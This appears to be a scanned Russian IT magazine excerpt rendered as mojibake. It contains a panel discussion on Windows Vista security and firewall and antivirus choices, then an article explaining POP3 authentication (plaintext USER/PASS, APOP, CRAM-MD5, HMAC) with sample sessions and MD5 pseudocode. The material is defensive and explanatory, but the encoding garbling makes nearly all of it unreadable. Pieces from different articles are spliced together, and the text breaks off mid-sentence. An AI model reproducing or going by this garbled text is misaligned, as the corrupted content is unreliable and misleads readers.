ðàçðàáîòêè. È òàêàÿ ÎÑ áóäåò âûïóùåíà èç íåäð Microsoft, íî íå ðàíüøå ÷åì ÷åðåç íåñêîëüêî ëåò. Vista,
îäíîçíà÷íî, òàêîé ñèñòåìîé íå ñòàíåò.
ÂËÀÄÈÌÈÐ ÊÊÎÌÈÑÑÀÐÎÂ: Êàê ïî÷åìó?! Ó íèõ ïëàí ñäà÷è ÎÑè — êàê íà ñîâåòñêèõ çàâîäàõ. À ïî-
òîì, àìåðèêàíñêàÿ ìîäåëü áèçíåñà — ïóñòü ïðîäóêò ñûðîé, íî âûïóñòèòü ìû äîëæíû åãî ïî ïëàíó è âîâ-
ðåìÿ. È íå íàäî çàáûâàòü, ÷òî íå áûâàåò ïðîãðàìì áåç äûðîê. ×åì áîëüøå ïðîãðàììà, òåì áîëüøå
â íåé ýòèõ äûðîê.
ÂÀËÅÐÈß ÊÊÎÌÈÑÑÀÐÎÂÀ: Áåçîïàñíîñòü — ýòî îáùàÿ ïðîáëåìà âñåõ îòðàñëåé IT, à íå êàêîé-òî îòäåëü-
íîé êîìïàíèè. Ïðîñòî óðîâåíü âñåõ ïîêàçàòåëåé IT çíà÷èòåëüíî âûðîñ, è âíèìàíèå áîëüøå íå ôîêóñèðóåòñÿ
íà ïðîáëåìàõ, ñêàæåì, ïðîèçâîäèòåëüíîñòè èëè ìàñøòàáèðóåìîñòè. Îñòàëèñü ëèøü ïðîáëåìû áåçîïàñíîñ-
òè, êîòîðûå ðåøèòü íàìíîãî òðóäíåå è äîðîæå. Ñëèøêîì ìíîãî ôàêòîðîâ â ïðîöåññå îáåñïå÷åíèÿ áåçîïàñ-
íîñòè ÷åãî áû òî íè áûëî î÷åíü ìàëî çàâèñÿò îò ñîîòâåòñòâóþùèõ êîìïàíèé è ñîîòâåòñòâóþùåãî ÏÎ. Ê òîìó
æå, ãîíêà óëó÷øåíèÿ ñèñòåì áåçîïàñíîñòè è ïîÿâëåíèÿ íîâûõ ìåòîäîâ àòàê — ïîêà ÷òî áåñêîíå÷íûé ïðî-
öåññ. Ñ êàæäûì äíåì ïîÿâëÿþòñÿ àòàêè, çàäåéñòâóþùèå íîâûå òåõíîëîãèè, íîâûå óÿçâèìîñòè è íîâûå òèïû
óñòðîéñòâ (îäèí èç ïîñëåäíèõ ïðèìåðîâ — ðàçíîâèäíîñòü àòàêè SMiShing). Íåîáõîäèì êà÷åñòâåííûé «ïðî-
ðûâ» â ñàìèõ êîíöåïöèÿõ îáåñïå÷åíèÿ áåçîïàñíîñòè, ïîçâîëÿþùèé âûðâàòüñÿ âïåðåä â ýòîé ãîíêå. Ïîêà
ýòî, ê ñîæàëåíèþ, òðóäíî äîñòèæèìî. È, êîíå÷íî, ýòî ìîæåò áûòü ñäåëàíî âîâñå íå ñèëàìè òîëüêî îäíîé-
åäèíñòâåííîé êîìïàíèè (ïóñòü äàæå òàêîé áîëüøîé è ìîãóùåñòâåííîé), à îòðàñëè â öåëîì.
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Êðîìå òîãî, åñòü åùå îäèí ïàðàäîêñàëüíûé ôàêò: ïðè âñå-òàêè çíà÷èòåëüíîì ðîñòå ñòåïåíè çàùè-
ùåííîñòè ñèñòåìíîãî è ïðèêëàäíîãî ÏÎ, îñòàåòñÿ ñàìîå òðóäíîóñòðàíèìîå — ïðåñëîâóòûé ÷åëîâå÷åñ-
êèé ôàêòîð. ß äóìàþ, ÷òî ýòà ïðîáëåìà ïðàêòè÷åñêè íåðàçðåøèìà, ê ñîæàëåíèþ. Åäèíñòâåííûé ïóòü —
ìèêðîñêîïè÷åñêèå óëó÷øåíèÿ ñèòóàöèè ïóòåì óñòðàíåíèÿ ïîñëåäñòâèé íåîáäóìàííûõ äåéñòâèé ïîëüçî-
âàòåëÿ è ïðåäîòâðàùåíèÿ èõ ñèëàìè ÏÎ.

À Microsoft, ñî ñâîåé ñòîðîíû, äåëàåò î÷åíü ìíîãîå äëÿ òîãî, ÷òîáû äîñòè÷ü êà÷åñòâåííîãî óðîâíÿ
áåçîïàñíîñòè ñâîåãî ÏÎ. È íàãëÿäíûé ïðèìåð — âñÿ íîâàÿ ëèíåéêà ïðîäóêòîâ Microsoft, îò SQL Server äî
Vista. Â êàæäîì èç íèõ ðåàëèçîâàíû ìåõàíèçìû äëÿ îáåñïå÷åíèÿ áåçîïàñíîñòè îáñëóæèâàåìûõ ñèñòåì,
ñîçäàâàåìîãî êîäà è ò.ä. Òàê æå Microsoft ïîñòîÿííî ðàáîòàåò íàä óñêîðåíèåì ïðîöåññà âûõîäà ïàò-
÷åé — óìåíüøåíèåì ñðîêà, ïðîøåäøåãî ñ ìîìåíòà îáíàðóæåíèÿ áàãà è äî ìîìåíòà âûõîäà ñîîòâåòñòâó-
þùåé «çàïëàòêè». Âñå ýòè ôàêòîðû (êàê è ìíîæåñòâî äðóãèõ) ñïîñîáñòâóþò çíà÷èòåëüíîìó óâåëè÷åíèþ
áåçîïàñíîñòè ïðîäóêòîâ Microsoft è ïðîöåññà èõ èñïîëüçîâàíèÿ.
ÐÀÈËÜ ÑÑÀÁÈÐÎÂ: Ïðîãðàìì áåç áàãîâ íå ñóùåñòâóåò — ýòî àêñèîìà! Òàê æå ìîæíî ñêàçàòü: «àáñî-
ëþòíî áåçîïàñíûõ ñèñòåì íå ñóùåñòâóåò». Microsoft ñòðåìèòñÿ ê ñîçäàíèþ áåçîïàñíûõ ñèñòåì.
Ýòî íåñëîæíî ïîíÿòü, åñëè ïðîñëåäèòü èñòîðèþ îïåðàöèîííûõ ñèñòåì Windows — ñòàáèëüíîñòü è óðî-
âåíü áåçîïàñíîñòè ïîñòîÿííî ðàñòåò. ßðêèì ïðèìåðîì òîãî, ÷òî Microsoft ðåàëüíî äóìàåò î áåçîïàñ-
íîñòè, ÿâëÿåòñÿ vista:

— ÂÛÏÓÑÊ ÁÛË ÎÒËÎÆÅÍ ÄËß ÄÎÂÅÄÅÍÈß ÁÅÇÎÏÀÑÍÎÑÒÈ ÄÎ ÓÌÀ, À ÝÒÎ ÍÅÏÐÎÑÒÎÅ
ÐÅØÅÍÈÅ ÄËß ÒÀÊÎÃÎ ÃÈÃÀÍÒÀ, ÂÅÄÜ ËÞÁÎÉ ÏÅÐÅÍÎÑ ÑÐÎÊÎÂ — ÝÒÎ ÏÎÒÅÐÈ.

— ÄÀÆÅ ÓÄÎÁÑÒÂÎÌ ÏÎËÜÇÎÂÀÒÅËÅÉ ÏÎÆÅÐÒÂÎÂÀËÈ ÐÀÄÈ ÁÎËÜØÅÉ ÁÅÇÎÏÀÑÍÎÑÒÈ.

— VISTA ÄÀÂÀËÀÑÜ ÍÀ ÐÀÑÒÅÐÇÀÍÈÅ ÕÀÊÅÐÀÌ, ×ÒÎÁÛ ÒÅ ÂÛßÂÈËÈ ÑËÀÁÛÅ ÌÅÑÒÀ.

Õî÷åòñÿ íàäåÿòüñÿ, ÷òî ñòàðàíèÿ ðåáÿò èç Ðåéìîíäà ïîéäóò íà ïîëüçó áåçîïàñíîñòè áóäóùåãî. Íî êàêè-
ìè áû íè áûëè îïåðàöèîíêè, íèêîãäà íåëüçÿ çàáûâàòü ïðî ÷åëîâå÷åñêèé ôàêòîð è ïàðàëëåëüíî ïîâû-
øàòü îáðàçîâàííîñòü ñðåäíåñòàòèñòè÷åñêîãî þçåðà â âîïðîñàõ áåçîïàñíîñòè.
ÇÀÐÀÇÀ: Åñëè ñðàâíèâàòü ñ äðóãèìè ñèñòåìàìè, îðèåíòèðîâàííûìè íà êîíå÷íîãî ïîëüçîâàòåëÿ è íàäå-
ëåííûìè ñõîæèì ôóíêöèîíàëîì, Windows â ÷åì-òî äàæå è ëó÷øå. Â Microsoft âûíóæäåíû óïèðàòü íà òî,
çà ÷òî áîëüøå ïëàòÿò. À ïîëüçîâàòåëè áîëüøå ïëàòÿò çà ôóíêöèîíàëüíîñòü è óäîáñòâî, ÷åì çà áåçîïàñ-
íîñòü. Ðåàëüíî áåçîïàñíàÿ ñèñòåìà — ýòî ñèñòåìà, êîòîðàÿ íå âûïîëíÿåò íèêàêèõ ôóíêöèé. Ëþáîé
ôóíêöèîíàë — óãðîçà áåçîïàñíîñòè.

ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: Ó ìåíÿ ñòîèò SyGate Personal Firewall äëÿ ðàçãðàíè÷åíèÿ èíòðàíåòà è èíòåðíåòà.
Ïëþñ ñèñòåìà áåçîïàñíîñòè, âñòðîåííàÿ â w2k. È ýòîãî âïîëíå äîñòàòî÷íî.
ÀÍÀÒÎËÈÉ ÑÑÊÎÁËÎÂ: Äëÿ îáû÷íîãî ïîëüçîâàòåëÿ: ëþáîé ôàéðâîë, ÷òîáû íå äóìàòü, êàêîé åùå ñåð-
âèñ äîñòóïåí äëÿ àòàêè ñíàðóæè, ïëþñ îòêàç îò èñïîëüçîâàíèÿ ïîïóëÿðíûõ ìèøåíåé äëÿ àòàê õàêå-
ðîâ (IE + Outlook / Outlook express). 

ß âñåì ñîâåòóþ ñòàâèòü Opera + The bat, çàìåíèòü ICQ íà Miranda, îòêàçàòüñÿ îò äóðíîé ïðèâû÷êè
êà÷àòü êðÿêè èç èíòåðíåòà è ïðîãðàììû ñ ëåâûõ ñàéòîâ, è íå çàïóñêàòü íè÷åãî ñòðàííîãî, ïîëó÷åííîãî ïî
ïî÷òå, åñëè îòïðàâèòåëü ëè÷íî íå ïðåäóïðåäèë, ÷òî îí ïîñûëàåò ïðîãðàììó. Äëÿ îáû÷íîãî Íåóëîâèìîãî
Äæî ýòîãî áîëåå ÷åì äîñòàòî÷íî. Ïðî êîðïîðàòèâíóþ çàùèòó ìîæíî íàïèñàòü íå îäèí òîì, íî óíèâåð-
ñàëüíûé îòâåò òàêîé: ïîñîâåòîâàòü íå÷åãî.
ÌÈÕÀÈË ÔÔÈØÌÀÍ: Â êà÷åñòâå ôàéðâîëà ïîäîéäåò, ïîæàëóé, ëþáîé ïðîäóêò îò èçâåñòíûõ ôèðì.
Ó âñåõ ïîäîáíûõ ïðîäóêòîâ ôóíêöèîíàëüíîñòü ïðàêòè÷åñêè îäèíàêîâà, ðàçíèöà ëèøü â êîëè÷åñòâå íà-
âîðîòîâ è èçëèøåñòâ. Ñàì ïîëüçóþñü ipfw, à äëÿ MS Windows íåïëîõèì ðåøåíèåì áóäóò ïðîäóêòû îò
Agnitum (Outpost Firewall). Àíòèâèðóñ — òóò, ïîæàëóé, äâà ëèäåðà ïî êà÷åñòâó: Àíòèâèðóñ Êàñïåðñêîãî
è íåìåöêèé AntiVir. Ïîñëåäíèé áåñïëàòåí è î÷åíü íåïëîõî ñåáÿ çàðåêîìåíäîâàë — ÷àñòûå îáíîâëåíèÿ
áàç, ìèíèìàëüíûå òðåáîâàíèÿ ê ðåñóðñàì, íà «îòëè÷íî» ñïðàâëÿåòñÿ äàæå ñ çàãðóæåííûìè ïî÷òîâûìè
ñåðâåðàìè. SpyWare è AdWare õîðîøî âûëàâëèâàåò Spybot-S&D.
ÂËÀÄÈÌÈÐ ÊÊÎÌÈÑÑÀÐÎÂ: Ìîæåò, áóäó áàíàëåí, íî ipfw íà ðîóòåðå ñ NAT'îì — âïîëíå äîñòàòî÷íî.
Ãëàâíîå — ãðàìîòíî íàñòðîèòü. Íà êëèåíòå — Symantec Antivirus.
ÂÀËÅÐÈß ÊÊÎÌÈÑÑÀÐÎÂÀ: Ñàìûé ëó÷øèé ôàéðâîë (ñðåäè êàê çàðóáåæíûõ, òàê è îòå÷åñòâåííûõ
ïðîäóêòîâ) — Agnitum Outpost Firewall. Ïîñëåäíÿÿ åãî âåðñèÿ âûøå âñÿêèõ ïîõâàë. Ê àíòâèðóñàì, êàê òà-
êîâûì, îòíîøóñü âîîáùå êðàéíå ïîäîçðèòåëüíî è íå ïîëüçóþñü èìè â ïðèíöèïå. Íî ãðàìîòíî íàñòðîèòü
ôàéðâîë äëÿ òîãî, ÷òîáû îí ïðàêòè÷åñêè çàìåíÿë àíòèâèðóñ, ñìîãóò äàëåêî íå âñå ðÿäîâûå ïîëüçîâàòå-
ëè. Â òàêîì ñëó÷àå ðåêîìåíäóþ èñïîëüçîâàòü Kaspersky Internet Security 6.0 — âêëþ÷àåò â ñåáÿ ìíîæåñò-
âî ìîäóëåé, îò ñòàíäàðòíîãî àíòèâèðóñà äî ïðîàêòèâíîé çàùèòû.
ÇÀÐÀÇÀ: Íå íàäî ñòàâèòü íîâûé ñîôò, íàäî ïðåæäå íàó÷èòüñÿ èñïîëüçîâàòü òî, ÷òî èìååòñÿ. Âìåñòî óñ-
òàíîâêè êó÷è àíòèâèðóñîâ/ôàéðâîëîâ, ñ êîòîðûìè î÷åíü òÿæåëî æèòü, ëó÷øå ïðàâèëüíî íàñòðîèòü îïå-
ðàöèîííóþ ñèñòåìó, êîòîðóþ èìååøü. Ñàì íèêàêèõ «çàùèòíûõ» ïðîãðàìì íå èñïîëüçóþ 
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Ïî÷òîâûå ïðîòîêîëû, ìÿãêî ãîâîðÿ,
íå íîâû. À òî÷íåå, îíè íàñòîëüêî ñòà-
ðû, ÷òî åäâà äûøàò. Ïîíÿòèå áåçî-
ïàñíîñòè â íèõ îòñóòñòâóåò êàê êëàññ,
ïîýòîìó åñòü íåêîòîðîå êîëè÷åñòâî
ðàçëè÷íûõ çàïëàòîê è çàòû÷åê â âèäå
äðóãèõ ñòàíäàðòîâ è ïðîòîêîëîâ, ïû-
òàþùèõñÿ ñäåëàòü ðàáîòó ñ ýëåêòðîí-
íîé ïî÷òîé íåñêîëüêî áåçîïàñíåé.
Íî âñå ýòè çàòû÷êè èìåþò íåîáÿçà-
òåëüíûé õàðàêòåð, à çíà÷èò, ïî êðàé-
íåé ìåðå, â áîëüøèíñòâå êîíôèãóðà-
öèé «ïî óìîë÷àíèþ» âñå ïëîõî. 

Ïðîáëåìà îòñóòñòâèÿ áåçîïàñ-
íîñòè — íå åäèíñòâåííàÿ ïðîáëåìà
óñòàðåâøèõ ïðîòîêîëîâ. Ìíîãèå äðó-
ãèå âåùè òàê æå ðåàëèçîâàíû íà
ñòàíäàðòàõ-çàòû÷êàõ. Íåâîçìîæíîñòü
ïåðåäàâàòü áèíàðíûå äàííûå â ïî÷-
òîâûõ ñîîáùåíèÿõ ïðèâåëà ê ïîÿâëå-
íèþ ðàçëè÷íûõ ñïîñîáîâ ïðåâðàùå-
íèÿ äâîè÷íûõ äàííûõ â òåêñòîâûå,
òàêèå êàê UUEncode íà Unix-ñèñòå-
ìàõ è BinHex íà ìàêèíòîøàõ. È âñå
ýòî ìåæäó ñîáîé íèêàê íå âÿçàëîñü.
Ëèøü â 1992 ãîäó áûëà ïðèíÿòà ãðóï-
ïà ñòàíäàðòîâ MIME (Multipurpose In-
ternet Mail Extension), ïîçâîëÿþùàÿ
ïåðåäàâàòü ïî ýëåêòðîííîé ïî÷òå
äàííûå, îòëè÷íûå îò ASCII-òåêñòà.

Îñíîâíûìè ïðîáëåìàìè ïî÷-
òîâûõ ïðîòîêîëîâ ÿâëÿþòñÿ:

1 ÏÐÎÁËÅÌÛ Ñ ÀÓÒÅÍÒÈÔÈ-
ÊÀÖÈÅÉ.

2 ÏÐÎÁËÅÌÛ Ñ ÂÎÇÌÎÆ-
ÍÛÌ ÏÅÐÅÕÂÀÒÎÌ ÑÎÎÁ-
ÙÅÍÈß ÏÐÈ ÄÎÑÒÀÂÊÅ ÍÀ
ÑÅÐÂÅÐ ÈËÈ ÎÒ ÑÅÐÂÅÐÀ.

3 ÏÐÎÁËÅÌÀ ÂÅÐÈÔÈÊÀÖÈÈ
ÎÒÏÐÀÂÈÒÅËß ÑÎÎÁÙÅÍÈß.

îòêðûòûé òòåêñò. Ïðîòîêîë POP3
â ñâîåì èçíà÷àëüíîì âàðèàíòå ïðå-
äóñìàòðèâàë àóòåíòèôèêàöèþ èñ-
êëþ÷èòåëüíî â îòêðûòîì òåêñòå ñ ïî-

ìîùüþ êîìàíä USER è PASS. Òî
åñòü ñåàíñ àóòåíòèôèêàöèè âûãëÿäèò
ïðèìåðíî ñëåäóþùèì îáðàçîì:

<<+OK 3APA3A/POP3-3.0-beta<8231.

1158097553@mail.example.com>

>>USER myusername

<<+OK Password Please

>>PASS mystrongpassword

Ïðè âñåé ñâîåé óÿçâèìîñòè ê ïåðåõ-
âàòó, àóòåíòèôèêàöèÿ â îòêðûòîì
òåêñòå ÿâëÿåòñÿ åäèíñòâåííîé, ïðè
êîòîðîé íå òðåáóåòñÿ õðàíåíèå ïà-
ðîëÿ íà ñåðâåðå â îòêðûòîì òåêñòå
èëè ñïåöèàëüíîì ôîðìàòå. Òî åñòü
ìîãóò áûòü èñïîëüçîâàíû, íàïðè-
ìåð, crypt-ïàðîëè.

APOP. Êîíå÷íî, òàêàÿ àóòåíòè-
ôèêàöèÿ — ýòî ïðîñòî ñ÷àñòüå äëÿ
ëþáèòåëåé ïîäñëóøèâàòü ÷óæîé òðà-
ôèê. Â 1996 ãîäó îáíîâëåííàÿ âåð-
ñèÿ ñòàíäàðòà, RFC 1939, ââîäèò íî-
âûé äîïîëíèòåëüíûé ìåõàíèçì àó-
òåíòèôèêàöèè APOP. Î÷åíü ñòðàí-
íûé è íè ñ ÷åì íå ñîâìåñòèìûé —
îñíîâàííûé íà çàïðîñå-îòâåòå
(Challenge-Response). Ñåðâåð, ïîä-
äåðæèâàþùèé äàííûé ìåõàíèçì àó-
òåíòèôèêàöèè, äîëæåí âûäàòü
â ïðèâåòñòâèè óíèêàëüíóþ ñòðîêó,
çàêëþ÷åííóþ â óãëîâûå ñêîáêè. 

<<+OK 3APA3A/POP3-3.0-beta<8231.

1158097553@mail.example.com>

Ñòðîêà 8231.1158097553@mail.exam-
ple.com ÿâëÿåòñÿ çàïðîñîì. ×òîáû âû-
÷èñëèòü îòâåò, ïî÷òîâûé ñåðâåð êîí-
êàòåíèðóåò ê ýòîé ñòðîêå ïàðîëü ïîëü-
çîâàòåëÿ, âû÷èñëÿåò îò ïîëó÷åííîé
ñòðîêè õýø MD5 è äàëåå äàåò êîìàí-
äó APOP ñ èìåíåì ïîëüçîâàòåëÿ è ïî-
ëó÷èâøèìñÿ õýøåì â 16-ðè÷íîé êîäè-
ðîâêå. MD5("8231.1158097553@ma-
il.example.commystrongpassword") =
96551da2fa191305810d14c8945c4085.

>>APOP myusername

1cf86d5764a89dfc40a1f32

cc20613ac

Ñåðâåð âû÷èñëÿåò àíàëîãè÷íóþ
ñòðîêó è ñðàâíèâàåò ðåçóëüòàòû.
×åì ïëîõ òàêîé ñïîñîá àóòåíòèôè-
êàöèè, êðîìå òîãî, ÷òî îí íå ñîâïà-
äàåò íè ñ îäíèì äðóãèì ñòàíäàðòîì?
Òåì, ÷òî ñåðâåð îáÿçàí õðàíèòü ïà-
ðîëü â îòêðûòîì òåêñòå. Â ñëó÷àå
êîìïðîìåòàöèè ñåðâåðà ïàðîëü ìî-
æåò áûòü ïîõèùåí. Íåêîòîðûå ïî÷-
òîâûå àãåíòû, íàïðèìåð Mozilla

Thunderbird, àâòîìàòè÷åñêè ïûòàþò-
ñÿ ïåðåêëþ÷èòüñÿ íà àóòåíòèôèêà-
öèþ APOP, åñëè â áàííåðå ñåðâåðà
ïðèñóòñòâóþò óãëîâûå ñêîáêè.

CRAM-MMD5. Â 1997 ãîäó ïîÿâèë-
ñÿ ñòàíäàðò RFC 2195, îïðåäåëÿþ-
ùèé ìåõàíèçì àóòåíòèôèêàöèè chal-
lenge-response äëÿ IMAP è POP3 (òàê
íàçûâàåìûé CRAM). Ñòàíäàðò ìîæåò
èñïîëüçîâàòüñÿ ñ ëþáîé êðèïòîãðà-
ôè÷åñêîé õýø-ôóíêöèåé, íàïðèìåð
ñ CRAM-MD5, CRAM-MD4, CRAM-
SHA1 è ò.ä. Ñòàíäàðò îïèðàåòñÿ
íà ñòàíäàðò òîãî æå ãîäà RFC 2104,
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íåìíîãî èñòîðèè
ÏÅÐÂÀß ÂÅÐÑÈß ÏÐÎÒÎÊÎËÀ ÏÅÐÅÄÀ×È ÏÎ×ÒÛ (ÒÎÃÄÀ ÅÙÅ
MTP) ÏÎßÂÈËÀÑÜ Â 1980 ÃÎÄÓ. Â 1981 ÏÎßÂÈËÑß ÏÐÎÒÎÊÎË
SMTP, ÊÎÒÎÐÛÉ ÈÑÏÎËÜÇÓÅÒÑß ÏÎ ÑÅÉ ÄÅÍÜ. Â 1982 ÁÛË ÏÐÈ-
ÍßÒ ÄÎÊÓÌÅÍÒ RFC 822, ÊÎÒÎÐÛÉ ßÂËßÅÒÑß ÑÒÀÍÄÀÐÒÎÌ ÏÐÎ-
ÒÎÊÎËÀ SMTP ÒÀÊ ÆÅ ÏÎ ÑÅÉ ÄÅÍÜ, È ÑÎÏÓÒÑÒÂÓÞÙÈÉ ÅÌÓ
RFC 822, ÎÏÐÅÄÅËßÞÙÈÉ ÔÎÐÌÀÒ ÏÎ×ÒÎÂÎÃÎ ÑÎÎÁÙÅÍÈß. 
Â 2001 Â ÊÀ×ÅÑÒÂÅ ÏÐÅÄËÎÆÅÍÍÎÃÎ ÑÒÀÍÄÀÐÒÀ ÁÛËÈ ÏÐÈÍß-
ÒÛ ÄÎÊÓÌÅÍÒÛ RFC 2821/2822, ÍÎ ÈÇÆÈÒÜ ÑÒÀÍÄÀÐÒ RFC 822
ÄÎ ÑÈÕ ÏÎÐ ÍÅ ÓÄÀÅÒÑß.

ÂÎÒ ÊÀÊ ÂÛÃËßÄÅËÀ ÑÈÑÒÅÌÀ ÝËÅÊÒÐÎÍÍÎÉ ÏÎ×ÒÛ Â ÒÅ ÏÈÎ-
ÍÅÐÑÊÈÅ ÂÐÅÌÅÍÀ. ÝËÅÊÒÐÎÍÍÎÅ ÏÈÑÜÌÎ ÄÎÑÒÀÂËßËÎÑÜ 
ÏÎ ÀÄÐÅÑÓ ÏÎËÜÇÎÂÀÒÅËß È ÊËÀËÎÑÜ Â ÅÃÎ ÏÎ×ÒÎÂÛÉ ßÙÈÊ.
ÈÍÒÅÐÍÅÒ ÁÛË Â ÇÀÐÎÄÛØÅ, À ÏÅÐÑÎÍÀËÎÊ Â ÑÅÒÈ ÍÅ ÁÛËÎ
ÂÎÂÑÅ. ÎÑÍÎÂÎÉ ÑÅÒÈ Â ÒÅ ÂÐÅÌÅÍÀ ÁÛËÈ ÌÅÉÍÔÐÅÉÌÛ
Ñ ÌÍÎÃÎÏÎËÜÇÎÂÀÒÅËÜÑÊÈÌÈ ÑÈÑÒÅÌÀÌÈ, È ÍÀ ÊÀÆÄÎÌ
ÕÎÑÒÅ ÁÛËÎ ÌÍÎÃÎ ÏÎ×ÒÎÂÛÕ ßÙÈÊÎÂ ÐÀÇËÈ×ÍÛÕ ÏÎËÜÇÎ-
ÂÀÒÅËÅÉ. ÏÎÝÒÎÌÓ ÀÄÐÅÑ ÝËÅÊÒÐÎÍÍÎÉ ÏÎ×ÒÛ ÑÊËÀÄÛÂÀË-
Ñß ÈÇ ÈÌÅÍÈ ÏÎËÜÇÎÂÀÒÅËß È ÀÄÐÅÑÀ ÕÎÑÒÀ, ÑÎÅÄÈÍÅÍÍÛÕ
ÇÍÀÊÎÌ ‘@’ (ÏÎ-ÀÍÃËÈÉÑÊÈ AT, ÒÎ ÅÑÒÜ «ÍÀ»). ÄÀËÜØÅ ÏÎËÜ-
ÇÎÂÀÒÅËÜ ÑÌÎÒÐÅË ÑÂÎÉ ÏÎ×ÒÎÂÛÉ ßÙÈÊ ËÎÊÀËÜÍÎ. ÑÍÀ×À-
ËÀ Ñ ÏÎÌÎÙÜÞ ÎÁÛ×ÍÎÉ ÏÐÎÃÐÀÌÌÛ ÏÐÎÑÌÎÒÐÀ ÒÅÊÑÒÎ-
ÂÛÕ ÔÀÉËÎÂ, ÒÀÊ ÊÀÊ ÊÐÎÌÅ ÒÅÊÑÒÀ Â ÒÅ ÂÐÅÌÅÍÀ ÍÈ×ÅÃÎ 
ÍÅ ÏÅÐÅÄÀÂÀËÎÑÜ, À ÏÎÒÎÌ ÏÎßÂÈËÈÑÜ ÑÏÅÖÈÀËÜÍÛÅ ÏÐÈ-
ËÎÆÅÍÈß. ÒÎ ÅÑÒÜ ÏÎËÜÇÎÂÀÒÅËÜ ÈÌÅË ÍÀ ÏÎ×ÒÎÂÎÌ ÑÅÐÂÅ-
ÐÅ «ÏÎËÍÎÂÅÑÍÓÞ» Ó×ÅÒÍÓÞ ÇÀÏÈÑÜ. 

Â 1984 ÃÎÄÓ ÁÛË ÏÐÈÍßÒ ÑÒÀÍÄÀÐÒ ÏÐÎÒÎÊÎËÀ POP (POST
OFFICE PROTOCOL), ÎÁÅÑÏÅ×ÈÂÀÞÙÈÉ ÓÄÀËÅÍÍÛÉ ÄÎÑÒÓÏ
Ê ÏÎ×ÒÎÂÎÌÓ ßÙÈÊÓ. Â 1984 ÃÎÄÓ — ÂÒÎÐÀß ÂÅÐÑÈß ÑÒÀÍÄÀÐ-
ÒÀ È Â 1994 ÃÎÄÓ — ÍÛÍÅ ÇÄÐÀÂÑÒÂÓÞÙÈÉ ÏÐÎÒÎÊÎË POP3
(POP ÂÅÐÑÈÈ 3). ÈÌÅÍÍÎ ÏÀÐÀ ÏÐÎÒÎÊÎËÎÂ POP3/SMTP
ßÂËßÞÒÑß ÍÀÈÁÎËÅÅ ÐÀÑÏÐÎÑÒÐÀÍÅÍÍÛÌÈ ÄËß ÄÎÑÒÓÏÀ
Ê ÏÎ×ÒÎÂÎÌÓ ßÙÈÊÓ.



HMAC (Keyed-Hashing for Message
Authentication). HMAC êàê ðàç è îïðå-
äåëÿåò, êàê èñïîëüçîâàòü êëþ÷ (â ñëó-
÷àå CRAM ðîëü êëþ÷à âûïîëíÿåò ïà-
ðîëü) ñîâìåñòíî ñ õýø-ôóíêöèåé è
ñîîáùåíèåì (â ñëó÷àå CRAM ðîëü ñî-
îáùåíèÿ âûïîëíÿåò digest). HMAC
îïðåäåëÿåò äâà ïðîèçâîäíûõ êëþ-
÷à — âíóòðåííèé è âíåøíèé (ikey
è okey). Äëÿ ïðèìåíåíèÿ êëþ÷ (òî
åñòü ïàðîëü) ðàñøèðÿåòñÿ äî ðàçìåðà
áëîêà (64 áàéòà äëÿ áîëüøèíñòâà èç-
âåñòíûõ àëãîðèòìîâ) íóëÿìè. Äëÿ ïî-
ëó÷åíèÿ ikey êàæäûé áàéò ïîëó÷åííî-
ãî êëþ÷à «êñîðèòñÿ» ñî çíà÷åíèåì
0x36 (ipad), okey — 0x5c (opad). Çà-
òåì HMAC âû÷èñëÿåòñÿ êàê
H(okey,H(ikey,text)), ãäå H — õýø-
ôóíêöèÿ (íàïðèìåð MD5). Çàïÿòîé
â äàííîì ñëó÷àå îáîçíà÷àåòñÿ îïåðà-
öèÿ êîíêàòåíàöèè.

Â ÷åì ïðåèìóùåñòâî ýòîãî
ïîäõîäà? Îí ïîçâîëÿåò ñåðâåðó íå
õðàíèòü ïàðîëü â îòêðûòîì òåêñòå,
çà ñ÷åò òîãî, ÷òî â êàæäîì èç äâóõ
âûçîâîâ õýø-ôóíêöèè êëþ÷ íàõî-
äèòñÿ â íà÷àëå õýøèðóåìûõ äàííûõ.
Ýòî ïîçâîëÿåò «çàðàíåå» ïðîâåñòè
÷àñòü âû÷èñëåíèé. Íàïðèìåð, äëÿ
MD5 àëãîðèòì áóäåò âûãëÿäåòü òàê:

MD5Init(&context);

MD5Update(&context, ikey, 64);

MD5Update(&context,

text,text_len);

MD5Final(digest, &context);

MD5Init(&context);

MD5Update(&context, okey, 64);

MD5Update(&context, digest, 16);

MD5Final(digest, &context);

Ìû ìîæåì íåìíîæêî ïåðåïèñàòü ýòîò
àëãîðèòì, ðàçáèâ åãî íà äâå ÷àñòè,
ïðè÷åì â ïåðâîé ìû ïðîâåäåì âñå
íåîáõîäèìûå îïåðàöèè íàä êëþ÷àìè,
à âî âòîðîé ÷àñòè áóäåì ðàáîòàòü
òîëüêî ñ òåêñòîì. Ïðàâäà, ïðè ýòîì
ïðèäåòñÿ èñïîëüçîâàòü äâà êîíòåêñòà.

MD5Init(&icontext);

MD5Update(&icontext, ikey, 64);

MD5Init(&ocontext);

MD5Update(&ocontext, okey, 64);

Ïîëó÷èëè äâà êîíòåêñòà (icontext è
ocontext), êîòîðûå ìîæåì òåïåðü ñîõ-
ðàíèòü âìåñòî ñàìîãî êëþ÷à, ÷òîáû

èñïîëüçîâàòü â äàëüíåéøåì. Åñëè
áûòü òî÷íåå, òî ñîõðàíèòü ïðèäåòñÿ
òîëüêî ñîñòîÿíèå êîíòåêñòà (con-
text state), òàê êàê ðàçìåð ikey/okey
ïîäîãíàí ïîä ðàçìåð áëîêà àëãîðèò-
ìà. ×òîáû ïîëó÷èòü ïî ýòèì êîíòåê-
ñòàì è òåêñòó íåîáõîäèìûé HMAC,
íóæíî ââåñòè:

MD5Update(&icontext,

text,text_len);

MD5Final(digest,&icontext);

MD5Update(&ocontext,digest,16);

MD5Final(digest,&ocontext);

Âî âòîðîé ÷àñòè èñïîëüçóþòñÿ òîëü-
êî êîíòåêñòû, íî íå ñàì êëþ÷.

Ñåàíñ àóòåíòèôèêàöèè CRAM-
MD5 âûãëÿäèò ïðèìåðíî òàê:

<<+OK 3APA3A/POP3-3.0-beta<8231.

1158097553@mail.example.com>

>>AUTH CRAM-MD5

<<+PDE4OTYuNjk3MTcwOTUyQHBvc-

3RvZmZpY2UucmVzdG9uLm1jaS5uZXQ+

>>dGltIGI5MTNhNjAyYzdlZGE3YT-

Q5NWI0ZTZlNzMzNGQzODkw

<<+OK Authenticated

Ïîñëå êîìàíäû AUTH ñëåäóåò Chal-
lenge ñåðâåðà, êîòîðûé ãåíåðèðóåò-
ñÿ òàê æå, êàê è äëÿ APOP, íî ïåðå-
